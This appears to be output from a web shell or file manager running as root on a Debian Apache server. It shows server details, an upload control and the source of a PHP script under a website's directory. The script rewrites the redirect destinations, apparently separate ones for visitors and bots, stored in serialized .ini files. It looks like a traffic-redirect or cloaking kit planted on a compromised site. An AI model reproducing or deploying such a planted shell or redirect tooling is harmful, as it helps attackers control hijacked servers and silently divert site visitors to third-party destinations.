HEX
Server: Apache/2.4.65 (Debian)
System: Linux srv39710 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
User: root (0)
PHP: 8.4.11
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Upload Files
File: /var/www/www-root/data/www/beartz.com/t/replace_out.php
<?php
@ini_set('display_errors', 1);
@error_reporting(-1);
$old = 'yahoo.com';//старый домен
$new = 'www.eharmony.co.uk';//новый домен
$folder_ini = 'ini';//название папки с *.ini
$old = htmlentities($old, ENT_QUOTES, 'UTF-8');
$new = htmlentities($new, ENT_QUOTES, 'UTF-8');
if(file_exists(__DIR__."/$folder_ini")){
	$arr_ini = array();
	$files = scandir(__DIR__."/$folder_ini");
	foreach($files as $v){
		$v = trim($v);
		if(preg_match("~^(.+?\.ini)$~", $v)){
			$arr_ini[] = $v;
		}
	}
	foreach($arr_ini as $ini){
		$g_data = unserialize(file_get_contents(__DIR__."/$folder_ini/$ini"));
		$s = 1;
		while(!empty($g_data[$s])){
			if(!empty($g_data[$s]['s_out']) && strstr($g_data[$s]['s_out'], $old)){
				$g_data[$s]['s_out'] = str_replace($old, $new, $g_data[$s]['s_out']);
				$g_data[$s]['s_out_lm'] = strtotime('now');
			}
			if(!empty($g_data[$s]['out_bot']) && strstr($g_data[$s]['out_bot'], $old)){
				$g_data[$s]['out_bot'] = str_replace($old, $new, $g_data[$s]['out_bot']);
			}
			$s++;
		}
		$g_data = serialize($g_data);
		file_put_contents(__DIR__."/$folder_ini/$ini", $g_data, LOCK_EX);
	}
	echo 'ok';
	exit();
}
?>